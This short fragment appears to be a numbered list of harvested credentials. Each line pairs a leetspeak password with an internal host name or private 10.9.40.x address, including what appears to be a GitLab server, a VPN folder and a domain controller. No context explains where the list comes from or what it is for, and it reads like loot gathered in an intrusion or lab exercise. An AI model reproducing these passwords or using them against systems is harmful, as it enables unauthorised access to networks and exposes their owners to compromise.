220ff!c3Sh3llzINWKT001
23EF$_3ncrypt3!0nINWKT001 (VPN folder)
24G!tl@bRC3INWEBJW (10.9.40.12)
25N3v3r$t0pDr3@m!ngINDC (10.9.40.5)